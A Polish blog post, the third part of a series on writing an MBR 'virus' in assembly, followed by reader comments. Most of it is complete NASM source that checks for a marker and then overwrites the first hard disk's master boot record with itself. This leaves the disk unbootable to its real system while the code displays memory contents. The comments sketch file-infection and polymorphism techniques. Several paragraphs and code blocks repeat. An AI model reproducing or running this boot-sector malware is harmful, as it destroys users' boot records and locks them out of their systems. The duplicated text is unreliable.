Przechodzimy już do końcowego etapu tworzenia naszego wirusa wygodnie zadamawiającego się w MBR. W poprzednich częściach opisany został schemat ideowy rozwiązania, oraz kod odpowiadający za efekt wizualny. Prosty efekt wizualny uzyskiwany przez prosty kod. W tej części napisany zostanie kod odpowiedzialny za instalację "wirusa" w MBR.
Osoby, które nie przeczytały poprzednich części, muszę zasmucić, gdyż grafika dodana na początek tego postu nie jest wynikiem działania wirusa. Taki efekt graficzny, moim skromnym zdaniem popartym nie tak wielkim doświadczeniem, wymaga więcej jak 512B kodu i danych. Oczywiście można napisać wirus korzystający z MBR i reszty dysku mogący stworzyć taki efekt, jednak to nie jest celem tego artykułu. Przypominam, że naszym celem jest kod wykorzystujący tylko MBR i pamięć, a więc w zasadzie nie robiący dużych szkód na dysku.
UWAGA!
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.
Kod tu zamieszczony i jego opisy służą tylko i wyłącznie w celach edukacyjnych. Autor nie ponosi odpowiedzialności za niewłaściwe ich wykorzystanie, szczególnie niezgodne z prawem.
Skoro wyjaśniliśmy sobie już powyższe, to można przejść do sedna sprawy. Przypomnijmy, że nasz kod ma wykonać prosty algorytm zawierający tylko 3 operacje na najwyższym poziomie abstrakcji.
- sprawdź czy program jest zainstalowany
- zainstaluj program
- wyświetl zawartość pamięci
- powrót do 3.
W tej części zajmiemy się dwoma pierwszymi funkcjami. Są one stosunkowo proste, ale znacznie rozszerzają cały projekt. W zasadzie rozszerzają go na tyle i wprowadzają nieco nowej wiedzy na temat budowy MBR w systemach Windows, że można każdej z nich poświęcić oddzielną część. Aby się nie zanudzić nie będziemy tego jednak robić.
Rozpoznaj siebie
W systemach windows na dysku w MBR znajduje się struktura pozwalająca na odczytanie znacznej ilości informacji na temat struktury logicznej dysku. W strukturze tej znajduje się na przykład nazwa systemu, czy etykieta dysku. Aby sprawdzić, czy na maszynie zainstalowany jest nasz "wirus" najlepiej będzie posłużyć się właśnie tą strukturą. Użyjemy pola, które znajduje się na początku i zawiera nazwę systemu.
brINT13Flag DB 90H ; 0002h - 0EH for INT13 AH=42 READ
brOEM DB \'? \' ; 0003h - OEM ID - Windows 95B
brBPS DW 512 ; 000Bh - Bytes per sector
brSPC DB 8 ; 000Dh - Sector per cluster
brResCount DW 32 ; 000Eh - Reserved sectors
brFATs DB 2 ; 0010h - FAT copies
brRootEntries DW 0 ; 0011h - Root directory entries
brSectorCount DW 0 ; 0013h - Sectors in volume, < 32MB
brMedia DB 0F8H ; 0015h - Media descriptor
brSPF DW 0 ; 0016h - Sectors per FAT
brSPH DW 63 ; 0018h - Sectors per head/track
brHPC DW 128 ; 001Ah - Heads per cylinder
brHidden DD 63 ; 001Ch - Hidden sectors
brSectors DD 6305985 ; 0020h - Total number of sectors
brSPF32 DD 6153 ; 0024h - Sector per FAT (FAT32)
brFlags DW 0 ; 0028h - Flags (FAT32)
brVersion DW 0 ; 002Ah - FS Version (FAT32)
brRootCluster DD 2 ; 002Ch - Root start cluster (FAT32)
brFSInfoSector DW 1 ; 0030h - FS Info Sector (FAT32)
brBackupBoot DW 6 ; 0032h - Backup Boot Record
brReserved TIMES 6 db 0 ; 0038h - Reserved
brShitter TIMES 6 db 0 ; 003Bh - Unused filler??
brDrive DB 80H ; 0040h - BIOS drive number
brHeadTemp DB 00H ; 0041h - Head/temp number????
brSignature DB 29H ; 0042h - Extended Boot Record sig.
brSerialNum DD 404418EAH ; 0043h - Volume serial number
brLabel DB \'HARDDISK \' ; 0047h - Volume label
brFSID DB \'FAT32 \' ; 0052h - File System ID
brOEM DB \'? \' ; 0003h - OEM ID - Windows 95B
brBPS DW 512 ; 000Bh - Bytes per sector
brSPC DB 8 ; 000Dh - Sector per cluster
brResCount DW 32 ; 000Eh - Reserved sectors
brFATs DB 2 ; 0010h - FAT copies
brRootEntries DW 0 ; 0011h - Root directory entries
brSectorCount DW 0 ; 0013h - Sectors in volume, < 32MB
brMedia DB 0F8H ; 0015h - Media descriptor
brSPF DW 0 ; 0016h - Sectors per FAT
brSPH DW 63 ; 0018h - Sectors per head/track
brHPC DW 128 ; 001Ah - Heads per cylinder
brHidden DD 63 ; 001Ch - Hidden sectors
brSectors DD 6305985 ; 0020h - Total number of sectors
brSPF32 DD 6153 ; 0024h - Sector per FAT (FAT32)
brFlags DW 0 ; 0028h - Flags (FAT32)
brVersion DW 0 ; 002Ah - FS Version (FAT32)
brRootCluster DD 2 ; 002Ch - Root start cluster (FAT32)
brFSInfoSector DW 1 ; 0030h - FS Info Sector (FAT32)
brBackupBoot DW 6 ; 0032h - Backup Boot Record
brReserved TIMES 6 db 0 ; 0038h - Reserved
brShitter TIMES 6 db 0 ; 003Bh - Unused filler??
brDrive DB 80H ; 0040h - BIOS drive number
brHeadTemp DB 00H ; 0041h - Head/temp number????
brSignature DB 29H ; 0042h - Extended Boot Record sig.
brSerialNum DD 404418EAH ; 0043h - Volume serial number
brLabel DB \'HARDDISK \' ; 0047h - Volume label
brFSID DB \'FAT32 \' ; 0052h - File System ID
Pole ma wystarczyć na zapisanie 8 znaków ASCII. Jak dla nas wystarczy aby miało 1B. Warto wybrać na wpisanie tam jakiś znak, który raczej się nie pojawi normalnie. Ja postawiłem na znak '?'. W zasadzie, to nieco więcej elementów wskazuje w strukturze na niepoprawny MBR. Nie ma w nim informacji o dyskach logicznych, przez co cały dysk od tego momentu będzie uznawany za obszar niesformatowany.
Zastosowanie całej struktury w tym przypadku nie ma wcale tak wielkiego sensu. W zasadzie tylko 2 pola wystarczą. 2 pierwsze pola. Można jednak rozszerzyć w przyszłości ten kod na tyle, aby kopiował główną część struktury z podstawowego MBR.
Czytamy z dysku
Aby móc sprawdzić obecność wirusa na dysku konieczne jest wczytanie MBR z dysku i porównanie jednego pola. Jak pamiętamy, do dyspozycji jest niemal cała pamięć operacyjna maszyny. W zasadzie miejsce do zapisania odczytanego MBR możemy wybrać dowolnie. jak pamiętamy sektor dla MBR znajduje się na samym początku dysku. Trzeba więc w odpowiedni sposób przygotować się do przerwania. Skorzystamy znowu z przerwania 13h z BIOS. Interesuje nas funkcja 02h. Dla funkcji przygotowujemy w:
- ES:BX - adres bufora w pamieci
- CS:DS - adres na dysku, ścieżka, głowica, sektor
Dla przerwania adres dyskowy danych trzeba upakować w rejestrach w nietypowy dość sposób. Polecam więc poczytać tutaj jak dokładnie to zrobić. Jako że czytamy z samego początku, nasze przygotowania są łatwe.
Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.
Przyjmujemy, że operacja czytania nie przyniosła nam żadnych błędów, była poprawnie zapisana i poprawnie przebiegła. W zasadzie, to jeśli nie, to co mamy z tym zrobić? Oczywiście jeśli kod jest błędny, to poprawić, ale jeśli wina leży po stronie dysku, to jedyne co nam pozostaje, to pominąć czytanie, pominąć pisanie i przejść do właściwego działania. Można jeszcze spróbować ponownie czytać z dysku. Błąd tutaj nie powinien się raczej pojawić, a jeśli się pojawi, to i tak nic na to nie poradzimy.
MOV CX,0001h ;numer sciezki i sektora do czytania
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV BX,1000h
MOV ES,BX
XOR BX,BX
MOV AX,0201h
INT 13h ;no to czytamy, przyjmujemy, ze nie bylo bledu
MOV AH,BYTE [ES:BX+2]
CMP AH,\'?\'
JZ SHORT print_mem
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV BX,1000h
MOV ES,BX
XOR BX,BX
MOV AX,0201h
INT 13h ;no to czytamy, przyjmujemy, ze nie bylo bledu
MOV AH,BYTE [ES:BX+2]
CMP AH,\'?\'
JZ SHORT print_mem
Po przeczytaniu z dysku, trzeba tylko porównać znak w strukturze i skoczyć dalej do wykonania kodu w odpowiednim miejscu. Czyli jeśli nie natrafimy na znak '?'. To przechodzimy do instalacji.
Instalacja
Tutaj wszystko wygląda prosto. Nawet prościej niż przy sprawdzaniu, czy wirus jest już obecny w systemie. Przygotowujemy się do przerwania 13h, funkcja 03h i wykonujemy je. Dla testów można jeszcze wypisać na ekran w odpowiednim miejscu znak jakiś jeśli zapisaliśmy poprawnie sektor. Po wykonaniu przerwania informację taką przechowuje AL.
Gotowy kod
Czas pochwalić się gotowym kodem. Nie chce mi się opisywać wszystkiego nazbyt dokładnie. Obawiam się, że zaraz jakieś script kidies zaczną irytować się, że nie działa, albo zaraz cały ten kod z powodu używania trafi na czarne listy jako wstrętny wirus. Jak dobrze, że nie jest zdolny się mnożyć na tym poziomie. Tak więc poniżej kod całego wirusa.
Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).
Przypominam, bo nie każdy może zauważył, kody celowo zawierają drobne zmiany. Zmiany te wprowadzam dość automatycznie, ponieważ napisałem sobie skrypt pomagający mi opublikować kod z formatowaniem na blogu. Kodu nie da się skompilować od razu nie dlatego, że jest zły, tylko dlatego, że został zmieniony. Proszę odszukać "błędy", nanieść poprawki i miłej zabawy. Dla ciekawostki powiem, że tak samo jak błędy powstają automatycznie, tak też mogą być automatycznie usuwane. Powodzenia :).
;nasm -o bootsect.dos -f bin boot_vir.asm
org 7c00h
start:
JMP SHORT cz_inst ;skaczemy do poczatku kodu wlasciwego
brINT13Flag DB 90H ; 0002h - 0EH for INT13 AH=42 READ
brOEM DB \'? \' ; 0003h - OEM ID - Windows 95B
brBPS DW 512 ; 000Bh - Bytes per sector
brSPC DB 8 ; 000Dh - Sector per cluster
brResCount DW 32 ; 000Eh - Reserved sectors
brFATs DB 2 ; 0010h - FAT copies
brRootEntries DW 0 ; 0011h - Root directory entries
brSectorCount DW 0 ; 0013h - Sectors in volume, < 32MB
brMedia DB 0F8H ; 0015h - Media descriptor
brSPF DW 0 ; 0016h - Sectors per FAT
brSPH DW 63 ; 0018h - Sectors per head/track
brHPC DW 128 ; 001Ah - Heads per cylinder
brHidden DD 63 ; 001Ch - Hidden sectors
brSectors DD 6305985 ; 0020h - Total number of sectors
brSPF32 DD 6153 ; 0024h - Sector per FAT (FAT32)
brFlags DW 0 ; 0028h - Flags (FAT32)
brVersion DW 0 ; 002Ah - FS Version (FAT32)
brRootCluster DD 2 ; 002Ch - Root start cluster (FAT32)
brFSInfoSector DW 1 ; 0030h - FS Info Sector (FAT32)
brBackupBoot DW 6 ; 0032h - Backup Boot Record
brReserved TIMES 6 db 0 ; 0038h - Reserved
brShitter TIMES 6 db 0 ; 003Bh - Unused filler??
brDrive DB 80H ; 0040h - BIOS drive number
brHeadTemp DB 00H ; 0041h - Head/temp number????
brSignature DB 29H ; 0042h - Extended Boot Record sig.
brSerialNum DD 404418EAH ; 0043h - Volume serial number
brLabel DB \'HARDDISK \' ; 0047h - Volume label
brFSID DB \'FAT32 \' ; 0052h - File System ID
cz_inst:
MOV CX,0001h ;numer sciezki i sektora do czytania
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV BX,1000h
MOV ES,BX
XOR BX,BX
MOV AX,0201h
INT 13h ;no to czytamy, przyjmujemy, ze nie bylo bledu
MOV AH,BYTE [ES:BX+2]
CMP AH,\'?\'
JZ SHORT print_mem
instal: ;instalacja wirusa do MBR
XOR BX,BX
MOV ES,BX
MOV BX,start
MOV CX,0001h ;numer sciezki i sektora do czytania
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV AX,0301h
INT 13h ;no to zapisujemy, nie sprawdzamy czy byl blad.
print_mem: ;wlasciwe dzialanie \"wirusa\"
XOR AX,AX
MOV DS,AX
MOV BX,0B800h ;ustawiamy adres pamieci ekranu w BX
MOV ES,BX ;przenosimy go do ES
XOR BX,BX
start_print:
PUSHA
MOV CX,0FA0h
move_ekran: ;przesuniecie ekranu o 80 znakow od razu
MOV BX,CX
MOV AX,[ES:BX-50h]
MOV [ES:BX],AX
DEC CX
LOOP move_ekran
po_move_ekran:
POPA
PUSH CX ;zachowujemy CX (sam nie wiem czy potrzebnie)
MOV CX,0A0h
start_load:
MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
CMP AL,00h ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie
JNZ short po_random
random: ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
ADD DX,10111101B ;powinien byc tez dosc szybki
ADD DX,BX ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
ROR DX,04h
MOV AL,DL
po_random:
MOV byte AH,0Ah
PUSH BX
MOV BX,0A0h
SUB BX,CX
MOV word [ES:BX],AX ;piszemy na ekran
POP BX
INC BX ;przesuwamy sie po pamieci
JNZ short dalej
PUSH DS
POP DX
ADD DX,1000h ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni
PUSH DX
POP DS
dalej:
DEC CX
LOOP start_load
POP CX
wait_some:
PUSHA ;zachowujemy rejestry
XOR CX,CX ;licznik jest w CX:DX
MOV DX,4586h ;ustawiamy licznik na 17798(4586h) mikrosekund
MOV AH,86h
INT 15h ;poczekajmy chwile aby animacja byla +/- plynna
POPA ;przywracamy stan rejestrow
JMP short start_print
times 510 - ($ - start) db 0 ; dope³nienie do 510 bajtów
dw 0aa55h ; znacznik
org 7c00h
start:
JMP SHORT cz_inst ;skaczemy do poczatku kodu wlasciwego
brINT13Flag DB 90H ; 0002h - 0EH for INT13 AH=42 READ
brOEM DB \'? \' ; 0003h - OEM ID - Windows 95B
brBPS DW 512 ; 000Bh - Bytes per sector
brSPC DB 8 ; 000Dh - Sector per cluster
brResCount DW 32 ; 000Eh - Reserved sectors
brFATs DB 2 ; 0010h - FAT copies
brRootEntries DW 0 ; 0011h - Root directory entries
brSectorCount DW 0 ; 0013h - Sectors in volume, < 32MB
brMedia DB 0F8H ; 0015h - Media descriptor
brSPF DW 0 ; 0016h - Sectors per FAT
brSPH DW 63 ; 0018h - Sectors per head/track
brHPC DW 128 ; 001Ah - Heads per cylinder
brHidden DD 63 ; 001Ch - Hidden sectors
brSectors DD 6305985 ; 0020h - Total number of sectors
brSPF32 DD 6153 ; 0024h - Sector per FAT (FAT32)
brFlags DW 0 ; 0028h - Flags (FAT32)
brVersion DW 0 ; 002Ah - FS Version (FAT32)
brRootCluster DD 2 ; 002Ch - Root start cluster (FAT32)
brFSInfoSector DW 1 ; 0030h - FS Info Sector (FAT32)
brBackupBoot DW 6 ; 0032h - Backup Boot Record
brReserved TIMES 6 db 0 ; 0038h - Reserved
brShitter TIMES 6 db 0 ; 003Bh - Unused filler??
brDrive DB 80H ; 0040h - BIOS drive number
brHeadTemp DB 00H ; 0041h - Head/temp number????
brSignature DB 29H ; 0042h - Extended Boot Record sig.
brSerialNum DD 404418EAH ; 0043h - Volume serial number
brLabel DB \'HARDDISK \' ; 0047h - Volume label
brFSID DB \'FAT32 \' ; 0052h - File System ID
cz_inst:
MOV CX,0001h ;numer sciezki i sektora do czytania
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV BX,1000h
MOV ES,BX
XOR BX,BX
MOV AX,0201h
INT 13h ;no to czytamy, przyjmujemy, ze nie bylo bledu
MOV AH,BYTE [ES:BX+2]
CMP AH,\'?\'
JZ SHORT print_mem
instal: ;instalacja wirusa do MBR
XOR BX,BX
MOV ES,BX
MOV BX,start
MOV CX,0001h ;numer sciezki i sektora do czytania
MOV DX,0080h ;DH-glowica,DL-HDD, czytamy z pierwszego dysku twardego
MOV AX,0301h
INT 13h ;no to zapisujemy, nie sprawdzamy czy byl blad.
print_mem: ;wlasciwe dzialanie \"wirusa\"
XOR AX,AX
MOV DS,AX
MOV BX,0B800h ;ustawiamy adres pamieci ekranu w BX
MOV ES,BX ;przenosimy go do ES
XOR BX,BX
start_print:
PUSHA
MOV CX,0FA0h
move_ekran: ;przesuniecie ekranu o 80 znakow od razu
MOV BX,CX
MOV AX,[ES:BX-50h]
MOV [ES:BX],AX
DEC CX
LOOP move_ekran
po_move_ekran:
POPA
PUSH CX ;zachowujemy CX (sam nie wiem czy potrzebnie)
MOV CX,0A0h
start_load:
MOV byte AL,[DS:BX] ;czytamy bajt z pamieci
CMP AL,00h ;sprawdzamy czy komorka zawiera 0, jesli tak wygenerujemy jakis znak aby bylo ladnie
JNZ short po_random
random: ;stosunkowo prosty generator liczb losowych - nie byl matematycznie badany
ADD DX,10111101B ;powinien byc tez dosc szybki
ADD DX,BX ;dzieki dodawaniu adresu pamieci do niego, jego okres aperiodycznosci wydaje sie byc duzy
ROR DX,04h
MOV AL,DL
po_random:
MOV byte AH,0Ah
PUSH BX
MOV BX,0A0h
SUB BX,CX
MOV word [ES:BX],AX ;piszemy na ekran
POP BX
INC BX ;przesuwamy sie po pamieci
JNZ short dalej
PUSH DS
POP DX
ADD DX,1000h ;zmieniamy segment, ale tak, aby nie nachodzil na poprzedni
PUSH DX
POP DS
dalej:
DEC CX
LOOP start_load
POP CX
wait_some:
PUSHA ;zachowujemy rejestry
XOR CX,CX ;licznik jest w CX:DX
MOV DX,4586h ;ustawiamy licznik na 17798(4586h) mikrosekund
MOV AH,86h
INT 15h ;poczekajmy chwile aby animacja byla +/- plynna
POPA ;przywracamy stan rejestrow
JMP short start_print
times 510 - ($ - start) db 0 ; dope³nienie do 510 bajtów
dw 0aa55h ; znacznik
A tutaj jeszcze mały powrót do części pierwszej. Screen poniżej przedstawia menu przy starcie maszyny z dodanym "systemem" reprezentującym bootsector zapisany w pliku.
Przeczytaj:
ASM: pisanie własnego MBR cz.1
ASM: pisanie własnego MBR cz.2
Grafika pochodzi z Matrix code emulator
hyhyhy widze ze polowa programistow flirtuje od czasu do czasu z wirusami, sam tez sie kiedys tak bawilem.... mlody gniewny ;)
OdpowiedzUsuńBo wirusy obejmują tak szeroki zakres działań, że tworząc jakiś sporo można się dowiedzieć. Ja tworząc tego sporo nauczyłem się o MBR i tym co można w nim znaleźć w zależności od systemu. To nie pierwsze moje dzieło tego typu. Ale pierwsze tak sprawnie działające w ASM. Ten wirek jest też przy okazji wcale nie tak bardzo złośliwy. Przynajmniej nie umie się rozmnażać samodzielnie.
OdpowiedzUsuńfakt ze mozna sie bardzo duzo nauczyc, ja na Twoim miejscu skupilbym sie na czyms innym troche: sproboj zrobic wirusa linkujacego sie do plikow, napisz sobie jakis scanner z lini polecen ktory by to twoje cudo wykrywal, a pozniej zastanow sie co zrobic zeby to wykrywanie utrudnic - niezla zabawa :D
OdpowiedzUsuńw moim przypadku powstal Virus Slayer I i II na amige- mozesz je znalezc tutaj: null-zero.com/archive
dodatkowo nauczylem sie sporo o polimorfizmie wirusow, o technikach szybkiego linkowania do plikow a takze o infekcjach "w locie" podczas dostepu do katalogow. szkoda ze ta wiedza nie jest zbyt uzyteczna na windzie ;)
Linkowanie do plików... Najprostsza opcja, to dopisać kod wirusa do kodu aplikacji na jej końcu. Kiedyś takie rzeczy robiłem. Dawno, dawno to było. W przypadku tego kodu chodziło właśnie o poznanie MBR. Uznałem, że jest to podatność systemu Windows, że można dodać dowolny kod jako system operacyjny i jeszcze uniemożliwić użytkownikowi dostanie się do właściwego systemu. Normalnie programuję w języku Java i tam piszę różne kody. Jak na przykład skaner portów exploit SynFlood, albo inne takie. SynFlooder jest z resztą dostępny w moim blogu.
OdpowiedzUsuńnie wiem jak na PC ale na amidze byly z tym klopoty - przede wszystkim dlatego ze pliki mialy struktury wewnetrzne ktore potrafily sie "rozjezdzac" podczas dodawania do nich "dodatkow". rozwiazywalo sie to tak, ze wirus przenosil poczatkowe X bajtow na koniec pliku, sam wrzucal sie na poczatek i cala reszte opakowywal w swoja strukture, a nastepnie specjalna procedura odbudowywala oryginalny plik przy uruchomieniu (tzw "wrap around").
OdpowiedzUsuńno ale to taki wyklad historyczny ;)